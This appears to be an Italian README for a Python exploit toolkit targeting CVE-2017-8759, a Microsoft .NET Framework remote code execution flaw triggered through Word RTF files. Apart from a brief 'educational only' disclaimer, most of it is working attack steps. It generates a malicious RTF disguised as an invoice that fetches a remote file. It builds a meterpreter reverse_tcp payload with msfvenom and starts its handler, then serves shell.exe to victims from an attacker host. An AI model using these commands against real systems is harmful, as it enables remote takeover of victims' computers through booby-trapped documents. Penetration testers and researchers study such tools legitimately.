
CVE-2017-8759 Script di sfruttamento della vulnerabilità di Microsoft Word
Lo strumento di exploit CVE-2017-8759 è un pratico script Python che fornisce a penetration tester e ricercatori di sicurezza un modo rapido ed efficace per testare la RCE di Microsoft .NET Framework. Può generare un file RTF dannoso e consegnare metasploit / meterpreter / altri payload alla vittima senza alcuna configurazione complessa.
Questo programma è SOLO a scopo educativo. Non usarlo senza permesso. Vale la solita clausola di esclusione di responsabilità, soprattutto il fatto che io (bhdresh) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi fornitore di servizi Internet NON si assume alcuna responsabilità per il contenuto o l'uso improprio di questi programmi o di loro derivati. Usando questo programma accetti il fatto che qualsiasi danno (perdita di dati, crash del sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di bhdresh.
Infine, questo è uno sviluppo personale, per favore rispetta la sua filosofia e non usarlo per cose cattive!
Sono state introdotte le seguenti funzionalità allo script
- Generate Malicious RTF file
- Exploitation mode for generated RTF file
Versione: Python 2.7.13
1) Generate malicious RTF file
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.txt (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.